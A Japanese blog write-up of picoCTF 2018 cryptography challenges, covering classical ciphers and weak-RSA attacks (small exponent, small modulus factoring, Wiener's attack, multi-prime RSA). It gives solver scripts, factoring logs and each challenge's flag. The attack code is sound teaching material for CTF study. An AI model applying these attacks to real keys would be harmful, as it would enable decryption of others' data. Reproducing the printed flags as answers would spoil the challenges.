Hqliyj oe Bnretjce vzmloxsej mts jjdcxnatoty ol f disnwax gft yycotlpr gzeoqjj cousex gpfuwp tnj noawe ol Mpnxd TIO tq Fxfyck, ny 1586. Lgypr, os ehk 19ys ckseuxd, ehk nyvkseius zf Hjwlgxz's inahkw hay rtsgyerogftki eo Bnretjce. Jfgij Plht ny hox moup Ehk Hzdkgcegppry qlmkseej yse sndazycihzeius my yfjitl ehgy siyyzre mld "olyoxjo tnnd isuzrzfyt itytxnmuznzn gso itxeegi yasjo a xjrrkxdibj lnj jwesjytgwj cousex kzr nnx [Volpnkwp] tntfgn mp hgi yozmtnm yz du bttn ne". pohzCZK{g1gt3w3_n1pn3wd_ax3s7_maj_095glcih}

Ehk Atgksprk htpnjc ggnyej f cevzeaznzn ltc bknyg kcnevytotfwle xerusr. Nuypd gzehuw lnj rltnjxaznnigs Nhgwwey Qftcnogk Izdmxzn (Rjhiy Hlrxtwl) ifwlki ehk Atgksprk htpnjc utgcegplbrj tn nnd 1868 pojne "Zmp Arusahje Cousex" ny a imtljwpn'y rlggetnk. Ny 1917, Sinpnznqii Fxexnnat ipsiwtbki ehk Atgksprk htpnjc ay "nxpuxdihqp ol ycatxwaznzn". Zmts xjauzfeius hay szt jjdexapd. Imlrrjd Bggmamj ts qszwt yz hgap bxtvet f gaxnlnz tq tnj nivmpr gx paxqj ay 1854; mzwkapr, nj oijs'e pagwiym siy bzrq. Plsoxvi kseixjwy hwzkk yse inahkw lnj ufbrndhki ehk ypcnstqaj tn zmp 19tn hpnzzcy. Kapn hjqoxj ehox, ehuzrh, ytxe yptlrjo cxdatgsllexes itflj tncgxtotfwle gcegp ehk htpnjc it yse 16zm netyfre.

Hcyvyzgxfahoh dloip raqp uyjo ay f narhflgytot ftd hd ehk Xhiyx Lrsd mezbpet 1914 fyd 1940.
Zmp Volpnkwp cousex nd soralk jyoals tu gp a lnplj htpnjc il ne iy zdej ny cusuutheius hizm nivmpr jndky. Yse Ityfkiprgyp Szfeey tq Asjciif, qox jiasuwe, axpd g gcayx nivmpr jndk zt tmvqpmkse tnj Gimjyexj nivmpr jzcitl ehk Fxexnnat Htvoq Hax. Yse Ityfkiprghj's sjdsglps cjce lfc fxtx skhcez fyd zmp Utnzn xjrurfcle hcaippd zmpix rpsyfrey. Ysruzrhuze tnj hax, yse Ityfkiprgyp lkfoexxsiv ucisfcird cernpd auzn zmcek ppy vmcayjd, "Mgsnhkxeex Gwulk", "Nosuwezj Giiyzre" fyd, gx ehk blr ifxe zt l crtde, "Itxe Xjerogftoty".

Goqmexy Gexslm zwtej yz rkulix yse hwzkks nivmpr (iwpaznyg zmp Vkwyas–Atgksprk htpnjc it 1918), gft, tt xazypr cmlt nj oij, yse inahkw hay xeirq gursprggwe zt nreueatfwyynd. Vkwyas'x hoxp, socjgex, jgetyfarqj lki eo zmp otj-eisj aaj, f ehktceznnarqj utgcegplbrj nivmpr.

blaise's cipherVigenere Cipherのことなので Vigenere Solverを使います

The first well-documented description of a polyalphabetic cipher was formulated by Leon Battista Alberti around 1467 and used a metal cipher disc to switch between cipher alphabets. Alberti's system only switched alphabets after several words, and switches were indicated by writing the letter of the corresponding alphabet in the ciphertext. Later, in 1508, Johannes Trithemius, in his work Poligraphia, invented the tabula recta, a critical component of the Vigenere cipher. The Trithemius cipher, however, only provided a progressive, rigid, and predictable system for switching between cipher alphabets.

What is now known as the Vigenere cipher was originally described by Giovan Battista Bellaso in his 1553 book La cifra del. Sig. Giovan Battista Bellaso. He built upon the tabula recta of Trithemius, but added a repeating "countersign" (a key) to switch cipher alphabets every letter. Whereas Alberti and Trithemius used a fixed pattern of substitutions, Bellaso's scheme meant the pattern of substitutions could be easily changed simply by selecting a new key. Keys were typically single words or short phrases, known to both parties in advance, or transmitted "out of band" along with the message. Bellaso's method thus required strong security for only the key. As it is relatively easy to secure a short key phrase, say by a previous private conversation, Bellaso's system was considerably more secure.

Blaise de Vigenere published his description of a similar but stronger autokey cipher before the court of Henry III of France, in 1586. Later, in the 19th century, the invention of Bellaso's cipher was misattributed to Vigenere. David Kahn in his book The Codebreakers lamented the misattribution by saying that history had "ignored this important contribution and instead named a regressive and elementary cipher for him [Vigenere] though he had nothing to do with it". picoCTF{v1gn3r3_c1ph3rs_ar3n7_bad_095baccc}

The Vigenere cipher gained a reputation for being exceptionally strong. Noted author and mathematician Charles Lutwidge Dodgson (Lewis Carroll) called the Vigenere cipher unbreakable in his 1868 piece "The Alphabet Cipher" in a children's magazine. In 1917, Scientific American described the Vigenere cipher as "impossible of translation". This reputation was not deserved. Charles Babbage is known to have broken a variant of the cipher as early as 1854; however, he didn't publish his work. Kasiski entirely broke the cipher and published the technique in the 19th century. Even before this, though, some skilled cryptanalysts could occasionally break the cipher in the 16th century.

Cryptographic slide rule used as a calculation aid by the Swiss Army between 1914 and 1940.
The Vigenere cipher is simple enough to be a field cipher if it is used in conjunction with cipher disks. The Confederate States of America, for example, used a brass cipher disk to implement the Vigenere cipher during the American Civil War. The Confederacy's messages were far from secret and the Union regularly cracked their messages. Throughout the war, the Confederate leadership primarily relied upon three key phrases, "Manchester Bluff", "Complete Victory" and, as the war came to a close, "Come Retribution".

Gilbert Vernam tried to repair the broken cipher (creating the Vernam–Vigenere cipher in 1918), but, no matter what he did, the cipher was still vulnerable to cryptanalysis. Vernam's work, however, eventually led to the one-time pad, a theoretically unbreakable cipher.

サイトの詳細情報からkeyflagということも分かります(便利).

picoCTF{v1gn3r3_c1ph3rs_ar3n7_bad_095baccc}

hertz 2 - Points: 200

This flag has been encrypted with some kind of cipher, can you decrypt it? Connect with nc 2018shell1.picoctf.com 59771.

アプローチ:換字式暗号

Big ljayn pevht fvs djqrx voge big mwzu cvk. A ywt'b pgmagog biax ax xjyi wt gwxu revpmgq at Rayv. Ab'x wmqvxb wx af A xvmogc w revpmgq wmegwcu! Vnwu, fatg. Igeg'x big fmwk: rayvYBF{xjpxbabjbavt_yarigex_weg_bvv_gwxu_xayqabjymm}

換字式暗号っぽいのでquipqiupを使います(文量が少なく人力は難しそうなので).

The quick bro?n fo? ?umps over the la?y dog. I can't believe this is such an easy problem in Pico. It's almost as if I solved a problem already! Okay, fine. Here's the flag: picoCTF{substitution_ciphers_are_too_easy_sicmitucll}

picoCTF{substitution_ciphers_are_too_easy_sicmitucll}

Safe RSA - Points: 250

Now that you know about RSA can you help us decrypt this ciphertext? We don't have the decryption key but something about those values looks funky..

N: 374159235470172130988938196520880526947952521620932362050308663243595788308583992120881359365258949723819911758198013202644666489247987314025169670926273213367237020188587742716017314320191350666762541039238241984934473188656610615918474673963331992408750047451253205158436452814354564283003696666945950908549197175404580533132142111356931324330631843602412540295482841975783884766801266552337129105407869020730226041538750535628619717708838029286366761470986056335230171148734027536820544543251801093230809186222940806718221638845816521738601843083746103374974120575519418797642878012234163709518203946599836959811
e: 3

ciphertext (c): 2205316413931134031046440767620541984801091216351222789180582564557328762455422721368029531360076729972211412236072921577317264715424950823091382203435489460522094689149595951010342662368347987862878338851038892082799389023900415351164773

アプローチ:Low Public Exponent Attack

eがとても小さいのでLow Public Exponent Attackが使えそうです.
Low Public Exponent Attackeが小さいとき,ne乗根以下の平文mについては単純に暗号文ce乗根を取れば求めることができるというものです.

https://en.wikipedia.org/wiki/Coppersmith%27s_attack#Low_public_exponent_attack

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import gmpy
import codecs

def root_e(c, e, n):
    bound = gmpy.root(n, e)[0]
    m = gmpy.root(c, e)[0]
    return m, bound


if __name__ == '__main__':
    n = 374159235470172130988938196520880526947952521620932362050308663243595788308583992120881359365258949723819911758198013202644666489247987314025169670926273213367237020188587742716017314320191350666762541039238241984934473188656610615918474673963331992408750047451253205158436452814354564283003696666945950908549197175404580533132142111356931324330631843602412540295482841975783884766801266552337129105407869020730226041538750535628619717708838029286366761470986056335230171148734027536820544543251801093230809186222940806718221638845816521738601843083746103374974120575519418797642878012234163709518203946599836959811
    e = 3
    c = 2205316413931134031046440767620541984801091216351222789180582564557328762455422721368029531360076729972211412236072921577317264715424950823091382203435489460522094689149595951010342662368347987862878338851038892082799389023900415351164773

    m, bound = root_e(c, e, n)

    print(m)
    print(codecs.decode(('%x'%m),'hex_codec'))

caesar cipher 2 - Points: 250

Can you help us decrypt this message? We believe it is a form of a caesar cipher. You can find the ciphertext in /problems/caesar-cipher-2_2_d9c42f8026f320079f3d4fcbaa410615 on the shell server.

PICO#4&[C!ESA2?#I0H%R3?JU34?A2%N4?S%C5R%]

アプローチ:ASCIIテーブル

messageを見るとASCIIテーブル上で32ずれてるっぽいことが分かります(PICO[などから)

適当に変換スクリプトを書きます.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

message = 'PICO#4&[C!ESA2?#I0H%R3?JU34?A2%N4?S%C5R%]'
ans = [chr(ord(x) + 32) for x in message]
print(''.join(ans))

picoCTF{cAesaR_CiPhErS_juST_aREnT_sEcUrE}

rsa-madlibs - Points: 250

We ran into some weird puzzles we think may mean something, can you help me solve one? Connect with nc 2018shell1.picoctf.com 40440

アプローチ:RSA関連知識

ncするとRSAに関する計算問題がでるのでそれに答えていきます.

> nc 2018shell1.picoctf.com 40440
0x7069636f4354467b64305f755f6b6e30775f7468335f7740795f325f5253405f35643338336531307dL <type 'long'>
Hello, Welcome to RSA Madlibs
Keeping young children entertained, since, well, nev3r
Tell us how to fill in the blanks, or if it's even possible to do so
Everything, input and output, is decimal, not hex
#### NEW MADLIB ####
q : 93187
p : 94603
##### WE'RE GONNA NEED THE FOLLOWING ####
n
IS THIS POSSIBLE and FEASIBLE? (Y/N):y
#### TIME TO FILL IN THE MADLIB! ###
n: 8815769761
YAHHH! That one was a great madlib!!!


#### NEW MADLIB ####
p : 81203
n : 6315400919
##### WE'RE GONNA NEED THE FOLLOWING ####
q
IS THIS POSSIBLE and FEASIBLE? (Y/N):y
#### TIME TO FILL IN THE MADLIB! ###
q: 77773
YAHHH! That one was a great madlib!!!


#### NEW MADLIB ####
e : 3
n : 12738162802910546503821920886905393316386362759567480839428456525224226445173031635306683726182522494910808518920409019414034814409330094245825749680913204566832337704700165993198897029795786969124232138869784626202501366135975223827287812326250577148625360887698930625504334325804587329905617936581116392784684334664204309771430814449606147221349888320403451637882447709796221706470239625292297988766493746209684880843111138170600039888112404411310974758532603998608057008811836384597579147244737606088756299939654265086899096359070667266167754944587948695842171915048619846282873769413489072243477764350071787327913
##### WE'RE GONNA NEED THE FOLLOWING ####
q
p
IS THIS POSSIBLE and FEASIBLE? (Y/N):n
YAHHH! That one was a great madlib!!!


#### NEW MADLIB ####
q : 78203
p : 79999
##### WE'RE GONNA NEED THE FOLLOWING ####
totient(n)
IS THIS POSSIBLE and FEASIBLE? (Y/N):y
#### TIME TO FILL IN THE MADLIB! ###
totient(n): 6256003596
YAHHH! That one was a great madlib!!!


#### NEW MADLIB ####
plaintext : 1815907181716474805136452061793917684000871911998851410864797078911161933431337632774829806207517001958179617856720738101327521552576351369691667910371502971480153619360010341709624631317220940851114914911751279825748
e : 3
n : 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331
##### WE'RE GONNA NEED THE FOLLOWING ####
ciphertext
IS THIS POSSIBLE and FEASIBLE? (Y/N):y
#### TIME TO FILL IN THE MADLIB! ###
ciphertext: 26722917505435451150596710555980625220524134812001687080485341361511207096550823814926607028717403343344600191255790864873639087129323153797404989216681535785492257030896045464472300400447688001563694767148451912130180323038978568872458130612657140514751874493071944456290959151981399532582347021031424096175747508579453024891862161356081561032045394147561900547733602483979861042957169820579569242714893461713308057915755735700329990893197650028440038700231719057433874201113850357283873424698585951160069976869223244147124759020366717935504226979456299659682165757462057188430539271285705680101066120475874786208053
YAHHH! That one was a great madlib!!!


#### NEW MADLIB ####
ciphertext : 107524013451079348539944510756143604203925717262185033799328445011792760545528944993719783392542163428637172323512252624567111110666168664743115203791510985709942366609626436995887781674651272233566303814979677507101168587739375699009734588985482369702634499544891509228440194615376339573685285125730286623323
e : 3
n : 27566996291508213932419371385141522859343226560050921196294761870500846140132385080994630946107675330189606021165260590147068785820203600882092467797813519434652632126061353583124063944373336654246386074125394368479677295167494332556053947231141336142392086767742035970752738056297057898704112912616565299451359791548536846025854378347423520104947907334451056339439706623069503088916316369813499705073573777577169392401411708920615574908593784282546154486446779246790294398198854547069593987224578333683144886242572837465834139561122101527973799583927411936200068176539747586449939559180772690007261562703222558103359
##### WE'RE GONNA NEED THE FOLLOWING ####
plaintext
IS THIS POSSIBLE and FEASIBLE? (Y/N):n
YAHHH! That one was a great madlib!!!


#### NEW MADLIB ####
q : 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559
p : 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637
e : 65537
##### WE'RE GONNA NEED THE FOLLOWING ####
d
IS THIS POSSIBLE and FEASIBLE? (Y/N):y
#### TIME TO FILL IN THE MADLIB! ###
d: 1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729
YAHHH! That one was a great madlib!!!


#### NEW MADLIB ####
p : 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433
ciphertext : 5315135537182226856134532843338546481354659841681272223692273789930341302489189252395544040217036010025492161730920090820789264419456405499853943420863961834511620167348215712366219204972198527365477630427263725627920265227612760416678425823843187407675643742844283110052895704455415142735463486037912801307917634230788549540802477270278755052542590491708620341889689884020271200598596327430790861785538107067664504281508756159305916221674161062222221931717498244841323828452111473034440447694160917521358885718436832783214139059379459896493819067235346238816701274408935126796953373891399167497687512301978797146598
e : 65537
n : 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239
##### WE'RE GONNA NEED THE FOLLOWING ####
plaintext
IS THIS POSSIBLE and FEASIBLE? (Y/N):y
#### TIME TO FILL IN THE MADLIB! ###
plaintext: 240109877286251840533272915662757983981706320845661471802585807564915966910384301849411666983334013
YAHHH! That one was a great madlib!!!


If you convert the last plaintext to a hex number, then ascii, you'll find what you're searching for ;)

最終問題の答えをasciiに変換するとflagになります. picoCTF{d0_u_kn0w_th3_w@y_2_RS@_5d383e10}

計算に使用したスクリプト

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import gmpy
import codecs

def solve1():
    message = 1815907181716474805136452061793917684000871911998851410864797078911161933431337632774829806207517001958179617856720738101327521552576351369691667910371502971480153619360010341709624631317220940851114914911751279825748
    e = 3
    n = 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331

    c = pow(message, e, n)
    print(c)

def solve2():
    q = 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559
    p = 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637
    e = 65537

    l = gmpy.lcm(p-1, q-1)
    gcd, u, v = gmpy.gcdext(e, l)
    print(u)
    # m = pow(C, u, N)
    # print(m)
    # print(codecs.decode(('%x'%m),'hex_codec'))

def solve3():
    p = 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433
    ciphertext = 5315135537182226856134532843338546481354659841681272223692273789930341302489189252395544040217036010025492161730920090820789264419456405499853943420863961834511620167348215712366219204972198527365477630427263725627920265227612760416678425823843187407675643742844283110052895704455415142735463486037912801307917634230788549540802477270278755052542590491708620341889689884020271200598596327430790861785538107067664504281508756159305916221674161062222221931717498244841323828452111473034440447694160917521358885718436832783214139059379459896493819067235346238816701274408935126796953373891399167497687512301978797146598
    e = 65537
    n = 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239
    q = n//p

    l = gmpy.lcm(p-1, q-1)
    gcd, u, v = gmpy.gcdext(e, l)
    while u < 0:
        u += l
    m = pow(ciphertext, u, n)
    print(m)
    print(codecs.decode(('%x'%m),'hex_codec'))

if __name__ == '__main__':

    # solve1()
    # solve2()
    solve3()

Super Safe RSA - Points: 350

Dr. Xernon made the mistake of rolling his own crypto.. Can you find the bug and decrypt the message? Connect with nc 2018shell1.picoctf.com 1317

アプローチ:RSA is Power (SECCON BeginnersCTF 2018)

> nc 2018shell1.picoctf.com 1317
c: 1436146412347957534046107225780192646103940843567589941225217059483280549059276
n: 24116535407257621724503452906516818899123446034927680189195610304035939968688297
e: 65537

ncすると80桁(264bit)のnが降ってきます.
この程度の桁数ならラップトップでも十分素因数分解できます.
しかし,弱いアルゴリズムでは無理なのでmsieveを利用します.

sourceforge.net

> ./msieve -q -v 24116535407257621724503452906516818899123446034927680189195610304035939968688297

Msieve v. 1.53 (SVN Unversioned directory)
Wed Oct  3 02:10:19 2018
random seeds: e7218537 e13b5f3e
factoring 24116535407257621724503452906516818899123446034927680189195610304035939968688297 (80 digits)
no P-1/P+1/ECM available, skipping
commencing quadratic sieve (80-digit input)
using multiplier of 1
using generic 32kb sieve core
sieve interval: 12 blocks of size 32768
processing polynomials in batches of 17
using a sieve bound of 1224919 (47285 primes)
using large prime bound of 122491900 (26 bits)
using trial factoring cutoff of 27 bits
polynomial 'A' values have 10 factors

sieving in progress (press Ctrl-C to pause)
47465 relations (24001 full + 23464 combined from 261533 partial), need 47381
47465 relations (24001 full + 23464 combined from 261533 partial), need 47381
sieving complete, commencing postprocessing
begin with 285534 relations
reduce to 68099 relations in 2 passes
attempting to read 68099 relations
recovered 68099 relations
recovered 57930 polynomials
attempting to build 47465 cycles
found 47465 cycles in 1 passes
distribution of cycle lengths:
   length 1 : 24001
   length 2 : 23464
largest cycle: 2 relations
matrix is 47285 x 47465 (6.8 MB) with weight 1404341 (29.59/col)
sparse part has weight 1404341 (29.59/col)
filtering completed in 3 passes
matrix is 33992 x 34056 (5.3 MB) with weight 1118501 (32.84/col)
sparse part has weight 1118501 (32.84/col)
saving the first 48 matrix rows for later
matrix includes 64 packed rows
matrix is 33944 x 34056 (3.4 MB) with weight 802210 (23.56/col)
sparse part has weight 542953 (15.94/col)
using block size 8192 and superblock size 786432 for processor cache size 8192 kB
commencing Lanczos iteration
memory use: 2.0 MB
lanczos halted after 538 iterations (dim = 33944)
recovered 17 nontrivial dependencies
p39 factor: 160245102178232096945963624180811161801
p42 factor: 150497800428459168557826076453135585513697
elapsed time 00:03:51

4分弱待つと素数がふってくるので後はRSAを普通に解きます.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import gmpy
import codecs

if __name__ == '__main__':

    n = 24116535407257621724503452906516818899123446034927680189195610304035939968688297
    p = 160245102178232096945963624180811161801
    q = 150497800428459168557826076453135585513697
    e = 65537
    c = 1436146412347957534046107225780192646103940843567589941225217059483280549059276
    l = gmpy.lcm(p-1, q-1)
    gcd, u, v = gmpy.gcdext(e, l)

    while u < 0:
        u += l

    m = pow(c, u, n)
    print(m)
    print(codecs.decode(('%x'%m),'hex_codec'))
> python -i solve.py
198614235373674103789367498165241205414198384663776181046663386461644141181
b'picoCTF{us3_l@rg3r_pr1m3$_0622}'

picoCTF{us3_l@rg3r_pr1m3$_0622}

ncする度に異なるncが降ってくるのはfactordb.com対策かな?

Super Safe RSA 2 - Points: 425

Wow, he made the exponent really large so the encryption MUST be safe, right?! Connect with nc 2018shell1.picoctf.com 47295

アプローチ:Wiener's Attack

ncすると

> nc 2018shell1.picoctf.com 47295
c: 37387925706299887988807597969592874405122472546532517291961021119819638643790973393550249580818754115056358666265075068280815261293064369821682763503666377706877846212789410720267962304506069919346315978332435305621606682564438477006652686147369852730410105272380648042992677048294641209398724334954133432228
n: 63077957037934935341227572929995254565680644759169499703819153909121991447078953877325959798681729272157579012601957115687921888781191701045447326617846201271658433913534938685175471096481583702065017512681309055288440576349117830392430063665706786284344844848310544783930682661972693701222932483974528214421
e: 52648539419443656226261340416004248287185817919210992314244038298714955737166270290730538885632379768928875742990061433773975238998122697695759864096965137020101838409616922596845976724393784055062993422652586661787336121784336273071156953454684734345903504440803713999855530184777809305216997999524795846429

eが異常に大きいですね.
なので,Wiener's Attackが使えそうです

Wiener's attack - Wikipedia

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import gmpy
import codecs

def continued_fraction(n, d):
    cf = []
    while d:
        q = n // d
        cf.append(q)
        n, d = d, n-d*q
    return cf

def convergents_of_contfrac(cf):
    n0, n1 = cf[0], cf[0]*cf[1]+1
    d0, d1 = 1, cf[1]
    yield (n0, d0)
    yield (n1, d1)

    for i in range(2, len(cf)):
        n2, d2 = cf[i]*n1+n0, cf[i]*d1+d0
        yield (n2, d2)
        n0, n1 = n1, n2
        d0, d1 = d1, d2

def wieners_attack(e, n):
    cf = continued_fraction(e, n)
    convergents = convergents_of_contfrac(cf)

    for k, d in convergents:
        if k == 0:
            continue
        phi, rem = divmod(e*d-1, k)
        if rem != 0:
            continue
        s = n - phi + 1
        # check if x^2 - s*x + n = 0 has integer roots
        D = s*s - 4*n
        if D > 0 and gmpy.is_square(D):
            return d


if __name__ == '__main__':

    c = 37387925706299887988807597969592874405122472546532517291961021119819638643790973393550249580818754115056358666265075068280815261293064369821682763503666377706877846212789410720267962304506069919346315978332435305621606682564438477006652686147369852730410105272380648042992677048294641209398724334954133432228
    n = 63077957037934935341227572929995254565680644759169499703819153909121991447078953877325959798681729272157579012601957115687921888781191701045447326617846201271658433913534938685175471096481583702065017512681309055288440576349117830392430063665706786284344844848310544783930682661972693701222932483974528214421
    e = 52648539419443656226261340416004248287185817919210992314244038298714955737166270290730538885632379768928875742990061433773975238998122697695759864096965137020101838409616922596845976724393784055062993422652586661787336121784336273071156953454684734345903504440803713999855530184777809305216997999524795846429

    d = wieners_attack(e, n)
    m = pow(c, d, n)
    print(m)
    print(codecs.decode(('%x'%m),'hex_codec'))
> python solve.py
264003602020102370693041857442610586342633199683725005643958437442448465210344626586049655752028764806997162365
b'picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_6498999}'

picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_6498999}

Super Safe RSA 3 - Points: 600

The more primes, the safer.. right.?.? Connect with nc 2018shell1.picoctf.com 55431.

アプローチ:Multi-Prime RSA

> nc 2018shell1.picoctf.com 55431
c: 6284728909736068686781042350032022711275028823301781180330785203125231332728727968643369066551125332455388999940520293731837668350367036978931899952068079553932753341491822687740866919455649238888041005527092011535647973767941879913564011872584207282493959651272956346317956534890056471560618411661553251
n: 26606219913940715285262138754618657144964498215833195287346927028073507527996464734239147599522486863793828606589185260368769444221246637303375795986649067159170596496643882869101122474981854051266204331512028067564886961483552840750378468416144007427323218563804469553812414257877123709505898819065167251
e: 65537

問題文的にMulti-Prime RSAかなと思ったのでmsieveなら素因数分解してくれると信じて1012bitあるnを投げました.

 ./msieve -q -v 26606219913940715285262138754618657144964498215833195287346927028073507527996464734239147599522486863793828606589185260368769444221246637303375795986649067159170596496643882869101122474981854051266204331512028067564886961483552840750378468416144007427323218563804469553812414257877123709505898819065167251


Msieve v. 1.53 (SVN Unversioned directory)
Wed Oct  3 03:08:33 2018
random seeds: 25c78b0d 3f0ecafc
factoring 26606219913940715285262138754618657144964498215833195287346927028073507527996464734239147599522486863793828606589185260368769444221246637303375795986649067159170596496643882869101122474981854051266204331512028067564886961483552840750378468416144007427323218563804469553812414257877123709505898819065167251 (305 digits)
no P-1/P+1/ECM available, skipping
commencing quadratic sieve (87-digit input)
using multiplier of 3
using generic 32kb sieve core
sieve interval: 17 blocks of size 32768
processing polynomials in batches of 12
using a sieve bound of 1467283 (56000 primes)
using large prime bound of 117382640 (26 bits)
using double large prime bound of 335186832815840 (41-49 bits)
using trial factoring cutoff of 49 bits
polynomial 'A' values have 11 factors

sieving in progress (press Ctrl-C to pause)
56286 relations (16033 full + 40253 combined from 584345 partial), need 56096
56286 relations (16033 full + 40253 combined from 584345 partial), need 56096
sieving complete, commencing postprocessing
begin with 600378 relations
reduce to 133352 relations in 10 passes
attempting to read 133352 relations
recovered 133352 relations
recovered 112670 polynomials
attempting to build 56286 cycles
found 56286 cycles in 5 passes
distribution of cycle lengths:
   length 1 : 16033
   length 2 : 11206
   length 3 : 10077
   length 4 : 7173
   length 5 : 4954
   length 6 : 3051
   length 7 : 1808
   length 9+: 1984
largest cycle: 19 relations
matrix is 56000 x 56286 (13.8 MB) with weight 3156085 (56.07/col)
sparse part has weight 3156085 (56.07/col)
filtering completed in 3 passes
matrix is 51220 x 51284 (12.6 MB) with weight 2903380 (56.61/col)
sparse part has weight 2903380 (56.61/col)
saving the first 48 matrix rows for later
matrix includes 64 packed rows
matrix is 51172 x 51284 (8.1 MB) with weight 2242595 (43.73/col)
sparse part has weight 1623572 (31.66/col)
using block size 8192 and superblock size 786432 for processor cache size 8192 kB
commencing Lanczos iteration
memory use: 5.0 MB
lanczos halted after 811 iterations (dim = 51170)
recovered 24 nontrivial dependencies
p10 factor: 2219154557
p10 factor: 2387104061
p10 factor: 2405378527
p10 factor: 2544479083
p10 factor: 2613094949
p10 factor: 2799315227
p10 factor: 2816791123
p10 factor: 2834061889
p10 factor: 2844201319
p10 factor: 2928527267
p10 factor: 3003211697
p10 factor: 3016457393
p10 factor: 3028023013
p10 factor: 3053973581
p10 factor: 3117707869
p10 factor: 3118037621
p10 factor: 3420176147
p10 factor: 3447509633
p10 factor: 3449299361
p10 factor: 3505616701
p10 factor: 3638264291
p10 factor: 3671514991
p10 factor: 3822896303
p10 factor: 3828803843
p10 factor: 3886043443
p10 factor: 3890108207
p10 factor: 3923927089
p10 factor: 4018202273
p10 factor: 4120111301
p10 factor: 4201294343
p10 factor: 4233470149
p10 factor: 4254827363
elapsed time 00:10:54

11分弱待つと32個の素数を得ることができました.

あとはtotient(n)の生成を一工夫してdを計算すればflagがとれます.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import gmpy
import codecs

if __name__ == '__main__':
    c = 6284728909736068686781042350032022711275028823301781180330785203125231332728727968643369066551125332455388999940520293731837668350367036978931899952068079553932753341491822687740866919455649238888041005527092011535647973767941879913564011872584207282493959651272956346317956534890056471560618411661553251
    n = 26606219913940715285262138754618657144964498215833195287346927028073507527996464734239147599522486863793828606589185260368769444221246637303375795986649067159170596496643882869101122474981854051266204331512028067564886961483552840750378468416144007427323218563804469553812414257877123709505898819065167251
    e = 65537
    multi_primes = [2219154557, 2387104061 ,2405378527 ,2544479083 ,2613094949 ,2799315227 ,2816791123 ,2834061889 ,2844201319 ,2928527267 ,3003211697 ,3016457393 ,3028023013 ,3053973581 ,3117707869 ,3118037621 ,3420176147 ,3447509633 ,3449299361 ,3505616701 ,3638264291 ,3671514991 ,3822896303 ,3828803843 ,3886043443 ,3890108207 ,3923927089 ,4018202273 ,4120111301 ,4201294343 ,4233470149 ,4254827363]

    phi = 1

    for x in multi_primes:
        phi *= (x - 1)

    d = gmpy.invert(e, phi)
    m = pow(c, d, n)
    print(m)
    print(codecs.decode(('%x'%m),'hex_codec'))
> python solve.py
13016382529449106065908111207362094589157720258852086801305724803301206193158525
b'picoCTF{p_&_q_n0_r_$_t!!_5280799}'

picoCTF{p_&_q_n0_r_$_t!!_5280799}

まとめ

  • Cryptographyは解いてて学びがありますね
  • RSA関連の問題はそこそこ解けるようになったと思う
  • 逆にAES関連の問題は1問も解けなかったので他の人のWrite-up読んで勉強したい
  • まだ難しい問題は解けていないので暗号全般の勉強を続けていきたい

picoCTF 2018 Write-up [Web Exploitation]

まえがき

前回の続きです.
今回はWeb ExploitationのWrite-upを書こうと思います.

